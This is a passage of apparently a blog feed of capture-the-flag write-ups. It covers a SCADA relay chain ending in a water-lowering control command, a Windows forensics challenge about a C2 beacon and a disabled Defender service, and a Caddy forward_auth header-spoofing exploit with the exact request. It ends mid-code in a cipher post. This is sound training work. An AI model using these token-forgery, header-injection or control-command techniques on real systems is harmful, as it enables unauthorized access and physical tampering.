before (ideally also after) any relay probe, and discard drifted results.</p>

<h3 id="72-the-relayanything-catch-all-is-a-false-positive">7.2 The <code class="language-plaintext highlighter-rouge">/relay/&lt;anything&gt;</code> catch-all is a false positive</h3>

<p><code class="language-plaintext highlighter-rouge">/relay/raise</code>, <code class="language-plaintext highlighter-rouge">/relay/lower</code>, <code class="language-plaintext highlighter-rouge">/relay/50</code>, and <code class="language-plaintext highlighter-rouge">/relay/bogus</code> <strong>all</strong> return</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"result"</span><span class="p">:</span><span class="s2">"accepted"</span><span class="p">,</span><span class="nl">"role"</span><span class="p">:</span><span class="s2">"system_check"</span><span class="p">,</span><span class="w"> </span><span class="err">...</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>This is the generic heartbeat, not a successful command — <code class="language-plaintext highlighter-rouge">/relay/bogus</code>
succeeding proves the subpath is never validated. Direction is not encoded in
the path.</p>

<h3 id="73-the-token-was-never-the-problem">7.3 The token was never the problem</h3>

<p><code class="language-plaintext highlighter-rouge">action=raise</code> returning <code class="language-plaintext highlighter-rouge">code_mismatch</code> while <code class="language-plaintext highlighter-rouge">action=checkin</code> returned
<code class="language-plaintext highlighter-rouge">invalid_command</code> looks like an action-bound token. It is not: <code class="language-plaintext highlighter-rouge">raise</code> is simply
an invalid action whose branch never reaches the token check. Combined with
<code class="language-plaintext highlighter-rouge">relay-bot.js</code>’s “token rotation broke auth” comment, this can consume hours of
brute-forcing per-second and per-minute token schemes that were never needed.</p>

<h3 id="74-self-inflicted-rate-limiting-produces-silent-empty-results">7.4 Self-inflicted rate limiting produces silent empty results</h3>

<p>Each probe costs ~5 requests (boot, sync, auth, sync, relay). Once 429s begin,
<code class="language-plaintext highlighter-rouge">retry_after=5</code> backoffs compound. One sweep ran a full 560-second budget, exited
cleanly with status 0, and wrote <strong>zero bytes</strong> — every request consumed by
backoff sleeps. A single isolated request returns in 0.9 s, so the service is not
blocking; the volume is self-inflicted.</p>

<p><strong>Rule:</strong> print a line per candidate even on failure, so an exhausted budget is
distinguishable from a genuine negative.</p>

<hr />

<h3 id="75-the-command-schema-and-parameter-name-are-not-derivable">7.5 The command schema and parameter name are not derivable</h3>

<p>This is the one part of the challenge that is <strong>not solvable from the artifacts</strong>,
and it is where the most time went.</p>

<p>Every earlier stage documents itself. <code class="language-plaintext highlighter-rouge">station.log</code> names <code class="language-plaintext highlighter-rouge">.logs/err_3005.log</code>.
<code class="language-plaintext highlighter-rouge">err_3005.log</code> names <code class="language-plaintext highlighter-rouge">config/relay_chat.js</code>. <code class="language-plaintext highlighter-rouge">relay_chat.js</code> names <code class="language-plaintext highlighter-rouge">v2/chat</code> and
points at <code class="language-plaintext highlighter-rouge">sync.conf</code>. <code class="language-plaintext highlighter-rouge">sync.conf</code> then spells out the chat bridge handshake
completely — parameter names, token construction, even a worked example:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chat bridge auth: Authorization: Bot &lt;token&gt;
token=md5(station_id+MMM+DD+YY+HH+MM) all lowercase/zero-padded, e.g. mar05191324
params: id=&lt;message id, batch of 5&gt;
</code></pre></div></div>

<p><strong>Nothing equivalent exists for the relay.</strong> An exhaustive search of the virtual
filesystem — <code class="language-plaintext highlighter-rouge">config/relay.conf</code>, <code class="language-plaintext highlighter-rouge">config/.relay/</code>, <code class="language-plaintext highlighter-rouge">config/.relay.conf</code>,
<code class="language-plaintext highlighter-rouge">.config/</code>, <code class="language-plaintext highlighter-rouge">config/control.conf</code>, <code class="language-plaintext highlighter-rouge">config/relay-sync.conf</code>, <code class="language-plaintext highlighter-rouge">.logs/relay.log</code>,
and the same names on all four stations — returns <code class="language-plaintext highlighter-rouge">not_found</code> every time. The
two relay-adjacent files that <em>do</em> exist are deliberately empty of specification:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// relay-bot.js</span>
<span class="c1">// integration failed</span>
<span class="c1">// see error 3005 in logs</span>
<span class="c1">// token rotation broke auth        &lt;- actively misleading; see 7.3</span>
</code></pre></div></div>

<p>So both halves of the final request have to be guessed blind:</p>

<p><strong>The parameter name.</strong> The relay reads <code class="language-plaintext highlighter-rouge">cmd</code>. Attempts covered <code class="language-plaintext highlighter-rouge">command</code>,
<code class="language-plaintext highlighter-rouge">action</code>, <code class="language-plaintext highlighter-rouge">value</code>, <code class="language-plaintext highlighter-rouge">magnitude</code>, <code class="language-plaintext highlighter-rouge">amount</code>, <code class="language-plaintext highlighter-rouge">level</code>, <code class="language-plaintext highlighter-rouge">delta</code>, <code class="language-plaintext highlighter-rouge">mag</code>, <code class="language-plaintext highlighter-rouge">units</code>,
<code class="language-plaintext highlighter-rouge">percent</code>, <code class="language-plaintext highlighter-rouge">feet</code>, <code class="language-plaintext highlighter-rouge">inches</code>, <code class="language-plaintext highlighter-rouge">qty</code>, <code class="language-plaintext highlighter-rouge">steps</code>, <code class="language-plaintext highlighter-rouge">direction</code>, and combinations —
all rejected identically. Nothing in the response text distinguishes “unknown
parameter” from “wrong value”, so the failures carry no gradient to follow.</p>

<p><strong>The command schema.</strong> The value must be <code class="language-plaintext highlighter-rouge">CMD:WATER:LOWER:&lt;magnitude&gt;</code> — a
four-field colon-delimited string. The chat log says only that <code class="language-plaintext highlighter-rouge">raise</code> and
<code class="language-plaintext highlighter-rouge">lower</code> are exposed on the water level (msg 49); it never shows the wire format.
Attempts covered bare verbs (<code class="language-plaintext highlighter-rouge">raise</code>, <code class="language-plaintext highlighter-rouge">lower</code>), space-separated pairs
(<code class="language-plaintext highlighter-rouge">lower 50</code>), and other delimiters (<code class="language-plaintext highlighter-rouge">lower:50</code>, <code class="language-plaintext highlighter-rouge">lower=50</code>, <code class="language-plaintext highlighter-rouge">lower,50</code>,
<code class="language-plaintext highlighter-rouge">lower/50</code>, <code class="language-plaintext highlighter-rouge">-50</code>, <code class="language-plaintext highlighter-rouge">+50</code>) — none of which is the required shape. The literal
<code class="language-plaintext highlighter-rouge">CMD:</code> prefix and the <code class="language-plaintext highlighter-rouge">WATER</code> subsystem field are not hinted at anywhere in the
source, the filesystem, or the chat archive.</p>

<p>This was ultimately supplied by <strong>Hint 3</strong>:</p>

<blockquote>
  <p><em>The relay expects its control command in the cmd parameter using this
structure: <code class="language-plaintext highlighter-rouge">CMD:WATER:LOWER:</code></em></p>
</blockquote>

<p>Worth noting for anyone replaying this: the interesting, discoverable work ends
at the chat bridge. The relay’s remaining barrier is a two-part guess with a
flat error surface and no feedback, and time spent there is better spent on the
hint. The <code class="language-plaintext highlighter-rouge">relay-bot.js</code> “token rotation” comment makes it worse by pointing at
a credential problem that does not exist (7.3), which is what pulled the
investigation toward brute-forcing token formulas instead of the command format.</p>

<hr />

<h2 id="8-attack-chain-summary">8. Attack chain summary</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>static page (decoy)
  └─ app.js  ── ROT47/hex ─→ GATEWAY url
  └─ robots.txt ─────────→ User-Agent: StationSync-Agent/2.1
       └─ POST /station/checkin ─→ sid cookie + simulated clock
            └─ token = md5(sid + station_epoch)
                 └─ /api/v1/&lt;st&gt;/ virtual filesystem
                      └─ station.log ─→ .logs/err_3005.log   (unlisted)
                           └─ config/relay_chat.js ─→ config/sync.conf
                                └─ chat token = md5(station_id + %b%d%y%H%M)
                                     └─ /api/v2/chat ─→ relay key + admin IP
                                          └─ POST /station/checkin/relay
                                               X-Relay-Target + X-Relay-Key
                                               cmd=CMD:WATER:LOWER:50
                                                    └─ LOW LEVEL alarm ─→ FLAG
</code></pre></div></div>]]></content><author><name>m0rpheus</name><email>ghassenboulares7@gmail.com</email></author><category term="web" /><category term="proxy" /><category term="token-forgery" /><category term="path-traversal" /><category term="scada" /><category term="load-balancer" /><summary type="html"><![CDATA[A five-stage SCADA proxy chain: deobfuscate a gateway address, forge a time-derived token, walk a virtual filesystem, authenticate to a chat bridge, then issue a control command — against a load balancer where only one of four workers answers.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://m0rpheus.tech/assets/img/logo.png" /><media:content medium="image" url="https://m0rpheus.tech/assets/img/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Breach: Zero Day</title><link href="https://m0rpheus.tech/posts/breach-zero-day/" rel="alternate" type="text/html" title="Breach: Zero Day" /><published>2026-09-20T16:34:05+00:00</published><updated>2026-09-20T16:34:05+00:00</updated><id>https://m0rpheus.tech/posts/breach-zero-day</id><content type="html" xml:base="https://m0rpheus.tech/posts/breach-zero-day/"><![CDATA[<p><strong>Format:</strong> <code class="language-plaintext highlighter-rouge">csaw{REDACTED}</code> (case-insensitive)
<strong>Exhibits:</strong> <code class="language-plaintext highlighter-rouge">fenwick_capture.pcap</code>, <code class="language-plaintext highlighter-rouge">fenwick_security.xml</code>, <code class="language-plaintext highlighter-rouge">fenwick_memdump.txt</code></p>

<p>One component per exhibit — but each one is the <em>second</em> thing you’d reach for,
not the first. That is the whole challenge.</p>

<hr />

<h2 id="0-separating-signal-from-filler">0. Separating signal from filler</h2>

<p>The synthetic data has a tell that identifies the author’s planted artifacts:</p>

<ul>
  <li><strong>XML:</strong> planted events have timestamps ending <code class="language-plaintext highlighter-rouge">.000Z</code> — 16 of 3193
(~3 expected by chance, so ~13 are deliberate)</li>
  <li><strong>pcap:</strong> planted packets have 10 ms-round timestamps — 46 of 4236, in
exactly four flows</li>
</ul>

<p>This is the single most useful technique here and generalises to any
synthetic-data forensics challenge. It reduces 3193 log events and 4236 packets
to about twenty artifacts that matter.</p>

<h2 id="1-the-two-chains">1. The two chains</h2>

<h3 id="chain-a--benign-decoy">Chain A — benign decoy</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>23:58:05  Task \Fenwick\Backup\NightlyBackup Execute
23:58:09  DNS backup-vault.fenwick.local
23:58:10  POST /api/sync  {"id":"QkFDS1VQU1ZD"}  -&gt; BACKUPSVC
23:58:43  7045 BkupAgent64 -&gt; drivers\BkupAgent64.sys
23:58:48  SecurityHealthService stopped
00:04:05  Task ResultCode 0        &lt;- completes cleanly
00:04:07  Agent stopped
</code></pre></div></div>

<p>Six minutes, clean exit. A real nightly backup job dressed to look alarming.</p>

<h3 id="chain-b--the-intrusion">Chain B — the intrusion</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>01:13:41  DNS docs-fenwick-portal.com -&gt; 52.112.198.39
01:13:42  POST /api/sync  {"id":"UkVMQVlTSEVMTA=="}  -&gt; RELAYSHELL
01:14:15  7045 Afd4Eop12 -&gt; drivers\Afd4Eop12_x64.dll
01:14:20  WinDefend stopped        &lt;- NEVER RESTARTS
01:14:25  First TLS session to the C2
01:13–05:58  Beacon: 73 connections, ~237 s mean, CV 0.10
</code></pre></div></div>

<hr />

<h2 id="2-c2indicator--relayshell">2. C2INDICATOR = <code class="language-plaintext highlighter-rouge">RelayShell</code></h2>

<p><strong>Not the domain.</strong> The indicator is the implant’s own identifier, posted to the
C2 in its first check-in:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /api/sync   Host: docs-fenwick-portal.com
{"id": "UkVMQVlTSEVMTA==", "v": "1.4"}   -&gt;  RELAYSHELL
</code></pre></div></div>

<p>The decoy chain carries a structurally identical <code class="language-plaintext highlighter-rouge">BACKUPSVC</code>, which is how you
know the pair is deliberate — the author built an A/B so you can tell which
identifier belongs to the real intrusion.</p>

<blockquote>
  <p><strong>Gotcha:</strong> the malicious POST is split across two TCP segments, so a naive
regex over individual packets only catches the decoy’s id. Reassemble the
stream first.</p>
</blockquote>

<h2 id="3-servicename--windefend">3. SERVICENAME = <code class="language-plaintext highlighter-rouge">WinDefend</code></h2>

<p><strong>Not the installed service.</strong> <code class="language-plaintext highlighter-rouge">Afd4Eop12</code> is the attacker’s <em>dropped driver</em> —
it looks like the answer because it’s the anomalous 7045 install (registered as a
kernel driver but pointing at a <code class="language-plaintext highlighter-rouge">.dll</code>, which is invalid). But the question asks
for the service involved in the attack, and that is the one the attacker
<strong>killed</strong>.</p>

<p>All <code class="language-plaintext highlighter-rouge">WinDefend</code> state changes:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>20:12:07  stopped
20:12:44  running     &lt;- 37 s, benign
01:14:20  stopped     &lt;- 5 s after Afd4Eop12 installs, NEVER restarts
03:41:52  stopped
03:42:21  running     &lt;- 29 s, benign
</code></pre></div></div>

<p>The discriminator is mechanical: two <code class="language-plaintext highlighter-rouge">stopped</code> events in a row with no
intervening <code class="language-plaintext highlighter-rouge">running</code> means the service stayed down. That is the attacker’s
kill, and it lands five seconds after the driver install.</p>

<p><code class="language-plaintext highlighter-rouge">SecurityHealthService</code> is the decoy chain’s equivalent — stopped at 23:58:48
during the backup job.</p>

<h2 id="4-backdoorname--foresttiger">4. BACKDOORNAME = <code class="language-plaintext highlighter-rouge">ForestTiger</code></h2>

<p><strong>Not any one of the planted names — two of them joined.</strong></p>

<p>The memdump contains exactly four simple string reversals (verified exhaustive
against a 97k-word dictionary, a malware-name list, all 26 Caesar shifts,
base64/base85, acrostic, and embedded substrings, forward and reversed):</p>

<table>
  <thead>
    <tr>
      <th>Token</th>
      <th>Reversed</th>
      <th>What it is</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ELUDOMDUF</code></td>
      <td>FUDMODULE</td>
      <td><strong>real</strong> Lazarus rootkit</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">EGDEHREPPOC</code></td>
      <td>COPPERHEDGE</td>
      <td><strong>real</strong> Lazarus RAT (CISA MAR-10288834)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">REGIT</code></td>
      <td>TIGER</td>
      <td><em>not malware</em> — ordinary word</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">TSEROF</code></td>
      <td>FOREST</td>
      <td><em>not malware</em> — ordinary word</td>
    </tr>
  </tbody>
</table>

<p>The brief says:</p>

<blockquote>
  <p><em>Public data shows that the patterns we are seeing could align with actions of
a specific group, but we have not been able to identify which one. These groups
are known to borrow from each other’s playbooks, so keep an eye out for any
anomalies.</em></p>
</blockquote>

<p><code class="language-plaintext highlighter-rouge">COPPERHEDGE</code> and <code class="language-plaintext highlighter-rouge">FUDMODULE</code> are the borrowed playbooks — genuine, publicly
documented tools planted to make you attribute the intrusion to Lazarus. The
<strong>anomaly</strong> is that the other two are not malware names at all. They are
<em>fragments</em>, and they concatenate:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>FOREST + TIGER  -&gt;  ForestTiger
</code></pre></div></div>

<p>The joke is that both halves are threat-actor <em>naming conventions</em> from
different vendors — Microsoft’s “Forest Blizzard” (APT28, Russia) and
CrowdStrike’s “…Tiger” suffix (India) — welded into one fictional name. Neither
half means anything alone, which is exactly why they’re the odd ones out.</p>

<hr />

<h2 id="5-solver">5. Solver</h2>

<p><code class="language-plaintext highlighter-rouge">~/ctf/forenn/solve.py</code> derives all three components mechanically:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>planted reversals:
  7ff6000f02ed  TIGER        fragment
  7ff600100c29  FUDMODULE    decoy (real malware)
  7ff60011181c  COPPERHEDGE  decoy (real malware)
  7ff60011a103  FOREST       fragment

C2INDICATOR   RELAYSHELL    (beacon id posted to docs-fenwick-portal.com)
SERVICENAME   WinDefend     (stopped, never restarted)
BACKDOORNAME  ForestTiger   (non-malware fragments joined)

csaw{REDACTED}
</code></pre></div></div>

<p>The service is found by scanning 7036 events for two consecutive <code class="language-plaintext highlighter-rouge">stopped</code>
states; the backdoor by filtering the reversed tokens against a known-malware
list and joining whatever is left.</p>

<hr />

<h2 id="6-post-mortem--why-this-took-60-failed-submissions">6. Post-mortem — why this took ~60 failed submissions</h2>

<p>Every individual artifact was recovered correctly and early. The failure was
entirely in <strong>mapping artifacts to slots</strong>, and all three errors share one cause:
reaching for the most <em>conspicuous</em> item rather than the one the question asked
for.</p>

<table>
  <thead>
    <tr>
      <th>Slot</th>
      <th>What I submitted</th>
      <th>Correct</th>
      <th>Why I was wrong</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>C2 indicator</td>
      <td><code class="language-plaintext highlighter-rouge">docs-fenwick-portal.com</code></td>
      <td><code class="language-plaintext highlighter-rouge">RelayShell</code></td>
      <td>anchored on “indicator = address”. The beacon id <em>was</em> tested, but only paired with the wrong other two.</td>
    </tr>
    <tr>
      <td>Service name</td>
      <td><code class="language-plaintext highlighter-rouge">Afd4Eop12</code></td>
      <td><code class="language-plaintext highlighter-rouge">WinDefend</code></td>
      <td>took the anomalous <strong>installed</strong> service instead of the <strong>attacked</strong> one. Never tested <code class="language-plaintext highlighter-rouge">WinDefend</code>, despite having identified the permanent kill as the key event.</td>
    </tr>
    <tr>
      <td>Backdoor name</td>
      <td>each of the four, separately</td>
      <td><code class="language-plaintext highlighter-rouge">ForestTiger</code></td>
      <td>found all four tokens and correctly identified FOREST/TIGER as the odd pair — even wrote “possibly concatenated as FORESTTIGER” once — but only ever offered it alongside the wrong C2 and service.</td>
    </tr>
  </tbody>
</table>

<p>The compounding effect is the real lesson: with three slots and one wrong
assumption in each, a correct guess in any single slot still returns “incorrect”,
which reads as evidence <em>against</em> that guess. I burned two 16-cell grids
(domain × service × name, then beacon-id × service × name) without ever varying
the service slot away from the two 7045 installs — so the correct value was
never in any grid I searched.</p>

<p><strong>Transferable rules:</strong></p>

<ul>
  <li>When a flag has N labelled slots, enumerate <em>candidates per slot</em> before
combining. A wrong value in one slot makes every correct value elsewhere look
wrong.</li>
  <li>“Service involved in the attack” can mean the service <strong>attacked</strong>, not the
service installed. Read the label literally.</li>
  <li>If two recovered tokens are individually meaningless, try concatenating them
before discarding either.</li>
  <li>Planted <em>real</em> names (COPPERHEDGE, FUDMODULE) in a challenge that explicitly
warns about “borrowed playbooks” are decoys by construction. The answer is the
thing that <em>isn’t</em> publicly attested.</li>
</ul>]]></content><author><name>m0rpheus</name><email>ghassenboulares7@gmail.com</email></author><category term="forensics" /><category term="windows" /><category term="event-logs" /><category term="pcap" /><category term="memory" /><category term="generator-fingerprinting" /><summary type="html"><![CDATA[Three answers buried in 2.7 MB of Windows security logs, a packet capture and a memory dump — most of it synthetic filler with a fingerprint that gives it away.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://m0rpheus.tech/assets/img/logo.png" /><media:content medium="image" url="https://m0rpheus.tech/assets/img/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Golf Heist</title><link href="https://m0rpheus.tech/posts/golf-heist/" rel="alternate" type="text/html" title="Golf Heist" /><published>2026-09-20T15:59:08+00:00</published><updated>2026-09-20T15:59:08+00:00</updated><id>https://m0rpheus.tech/posts/golf-heist</id><content type="html" xml:base="https://m0rpheus.tech/posts/golf-heist/"><![CDATA[<blockquote>
  <p><em>The caddy carries everything for them — keys, secrets, headers… and he
doesn’t check what’s in the bag.</em></p>
</blockquote>

<p>The pun is <strong>Caddy</strong>, the reverse proxy. The description tells you the bug class
outright.</p>

<h2 id="1-find-the-right-numbers">1. Find the right numbers</h2>

<p>Three endpoints return <code class="language-plaintext highlighter-rouge">418 I'm a teapot</code> — apparently useless, but each leaks a
rotor setting in a <strong>response header</strong>:</p>

<table>
  <thead>
    <tr>
      <th>Endpoint</th>
      <th>Header</th>
      <th>Rotor</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/pro-shop/inventory/clubs</code></td>
      <td><code class="language-plaintext highlighter-rouge">X-Golf-Hint</code></td>
      <td>R1</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/pro-shop/inventory/balls</code></td>
      <td><code class="language-plaintext highlighter-rouge">X-Golf-Hint</code></td>
      <td>R2</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/pro-shop/inventory/bags</code></td>
      <td><code class="language-plaintext highlighter-rouge">X-Golf-Hint</code></td>
      <td>R3</td>
    </tr>
  </tbody>
</table>

<p>The value is base64 of a zero-padded integer:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MDAwMDE4  -&gt;  "000018"  -&gt;  R1 = 18
</code></pre></div></div>

<p>Observed: R1=18, R2=14, R3=15. These are regenerated on each service start, so
a solver must read them live.</p>

<h2 id="2-speak-the-right-words">2. Speak the right words</h2>

<p>Those rotors drive a three-rotor Enigma (rotors I/II/III + reflector) over the
fixed input <code class="language-plaintext highlighter-rouge">G</code>, <code class="language-plaintext highlighter-rouge">O</code>, <code class="language-plaintext highlighter-rouge">L</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">enigma</span><span class="p">(</span><span class="n">r1</span><span class="p">,</span> <span class="n">r2</span><span class="p">,</span> <span class="n">r3</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">f</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">w</span><span class="p">,</span> <span class="n">o</span><span class="p">):</span> <span class="k">return</span> <span class="n">w</span><span class="p">[(</span><span class="n">ALPHA</span><span class="p">.</span><span class="nf">index</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">+</span> <span class="n">o</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span><span class="p">]</span>
    <span class="n">out</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">"</span><span class="s">G</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">O</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">L</span><span class="sh">"</span><span class="p">]:</span>
        <span class="n">c</span> <span class="o">=</span> <span class="n">s</span>
        <span class="n">c</span> <span class="o">=</span> <span class="nf">f</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">W</span><span class="p">[</span><span class="sh">"</span><span class="s">I</span><span class="sh">"</span><span class="p">],</span>   <span class="n">r1</span> <span class="o">%</span> <span class="mi">26</span><span class="p">)</span>
        <span class="n">c</span> <span class="o">=</span> <span class="nf">f</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">W</span><span class="p">[</span><span class="sh">"</span><span class="s">II</span><span class="sh">"</span><span class="p">],</span>  <span class="n">r2</span> <span class="o">%</span> <span class="mi">26</span><span class="p">)</span>
        <span class="n">c</span> <span class="o">=</span> <span class="nf">f</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">W</span><span class="p">[</span><span class="sh">"</span><span class="s">III</span><span class="sh">"</span><span class="p">],</span> <span class="n">r3</span> <span class="o">%</span> <span class="mi">26</span><span class="p">)</span>
        <span class="n">c</span> <span class="o">=</span> <span class="n">W</span><span class="p">[</span><span class="sh">"</span><span class="s">REF</span><span class="sh">"</span><span class="p">][</span><span class="n">ALPHA</span><span class="p">.</span><span class="nf">index</span><span class="p">(</span><span class="n">c</span><span class="p">)]</span>
        <span class="n">c</span> <span class="o">=</span> <span class="nf">f</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">W</span><span class="p">[</span><span class="sh">"</span><span class="s">III</span><span class="sh">"</span><span class="p">],</span> <span class="p">(</span><span class="mi">26</span> <span class="o">-</span> <span class="n">r3</span> <span class="o">%</span> <span class="mi">26</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span><span class="p">)</span>
        <span class="n">out</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">out</span>
</code></pre></div></div>

<p>→ <code class="language-plaintext highlighter-rouge">W</code>, <code class="language-plaintext highlighter-rouge">O</code>, <code class="language-plaintext highlighter-rouge">H</code></p>

<p>The passphrase then indexes the word table at <strong>0, 1, 0</strong> — not 0,0,0:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PHRASE</span> <span class="o">=</span> <span class="p">[</span><span class="n">WORDS</span><span class="p">[</span><span class="n">l0</span><span class="p">][</span><span class="mi">0</span><span class="p">],</span> <span class="n">WORDS</span><span class="p">[</span><span class="n">l1</span><span class="p">][</span><span class="mi">1</span><span class="p">],</span> <span class="n">WORDS</span><span class="p">[</span><span class="n">l2</span><span class="p">][</span><span class="mi">0</span><span class="p">]]</span>
</code></pre></div></div>

<p>→ <code class="language-plaintext highlighter-rouge">wedge out handicap</code></p>

<h2 id="3-let-the-caddy-do-the-rest">3. Let the caddy do the rest</h2>

<p><code class="language-plaintext highlighter-rouge">/api/vault/admin-item</code> validates the phrase, then reads the role straight off
the request:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">role</span> <span class="o">=</span> <span class="n">req</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">X-User-Role</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">)</span>
<span class="k">if</span> <span class="n">role</span><span class="p">.</span><span class="nf">lower</span><span class="p">()</span> <span class="o">==</span> <span class="sh">"</span><span class="s">admin</span><span class="sh">"</span><span class="p">:</span>
    <span class="k">return</span> <span class="p">{...</span> <span class="sh">"</span><span class="s">flag</span><span class="sh">"</span><span class="p">:</span> <span class="n">FLAG</span> <span class="p">...}</span>
</code></pre></div></div>

<p>The leaked Caddyfile (<code class="language-plaintext highlighter-rouge">/api/engineer/caddyfile</code>) explains why that is reachable:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>:8000 {
    forward_auth 127.0.0.1:9091 {
        uri /auth
        copy_headers X-User-Id X-User-Role
    }
    reverse_proxy 127.0.0.1:9092
}
</code></pre></div></div>

<p><strong>GHSA-7r4p-vjf4-gxv4</strong> — Caddy’s <code class="language-plaintext highlighter-rouge">forward_auth</code> <code class="language-plaintext highlighter-rouge">copy_headers</code> copies those
headers <em>from the auth response</em> but <strong>does not strip client-supplied ones
first</strong>. A header the client sets survives to the backend.</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST /api/vault/admin-item
X-User-Role: admin
X-User-Id: caddy

phrase=wedge out handicap
</span></code></pre></div></div>

<p>Solver: <code class="language-plaintext highlighter-rouge">~/ctf/work/golf/solve.py</code> — re-derives rotors and phrase live, so it
works against a fresh instance.</p>]]></content><author><name>m0rpheus</name><email>ghassenboulares7@gmail.com</email></author><category term="web" /><category term="reverse-proxy" /><category term="header-injection" /><category term="enigma" /><category term="caddy" /><summary type="html"><![CDATA[Rotor settings leaked in 418 response headers, fed through a three-rotor Enigma to a passphrase — then the proxy trusts a role header it should never have read.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://m0rpheus.tech/assets/img/logo.png" /><media:content medium="image" url="https://m0rpheus.tech/assets/img/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Taking on the Temple</title><link href="https://m0rpheus.tech/posts/taking-on-the-temple/" rel="alternate" type="text/html" title="Taking on the Temple" /><published>2026-09-20T15:59:08+00:00</published><updated>2026-09-20T15:59:08+00:00</updated><id>https://m0rpheus.tech/posts/taking-on-the-temple</id><content type="html" xml:base="https://m0rpheus.tech/posts/taking-on-the-temple/"><![CDATA[<blockquote>
  <p><em>A body of rock, a body of ice, a body of steel… When you have the three
Pokémon, the king shall appear.</em></p>
</blockquote>

<p>Regirock / Regice / Registeel unlock Regigigas — three gated stages feeding a
fourth. Each stage is a different primitive, and each stage’s answer is the next
stage’s key.</p>

<p>Markers are 12-digit random suffixes specifically so the submit forms <strong>cannot</strong>
be used as a correctness oracle — you have to break each layer.</p>

<h2 id="stage-1--granite-regirock-autokey-cipher">Stage 1 — Granite (Regirock): autokey cipher</h2>

<p><code class="language-plaintext highlighter-rouge">stone.json</code> holds a ciphertext produced by an <strong>autokey cipher</strong> primed with
<code class="language-plaintext highlighter-rouge">STONE</code>. Autokey feeds the <em>plaintext</em> back in as key material after the primer,
so it decrypts sequentially:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pt[i] = ct[i] - (primer[i]      if i &lt;  len(primer)
                 else pt[i-len(primer)])
</code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">autokey_decrypt</span><span class="p">(</span><span class="n">ct</span><span class="p">,</span> <span class="n">primer</span><span class="o">=</span><span class="sh">"</span><span class="s">STONE</span><span class="sh">"</span><span class="p">):</span>
    <span class="n">key</span> <span class="o">=</span> <span class="sh">""</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">c</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">primer</span><span class="p">.</span><span class="nf">upper</span><span class="p">()</span> <span class="k">if</span> <span class="n">c</span><span class="p">.</span><span class="nf">isalpha</span><span class="p">())</span>
    <span class="n">pt</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">ch</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">ct</span><span class="p">):</span>
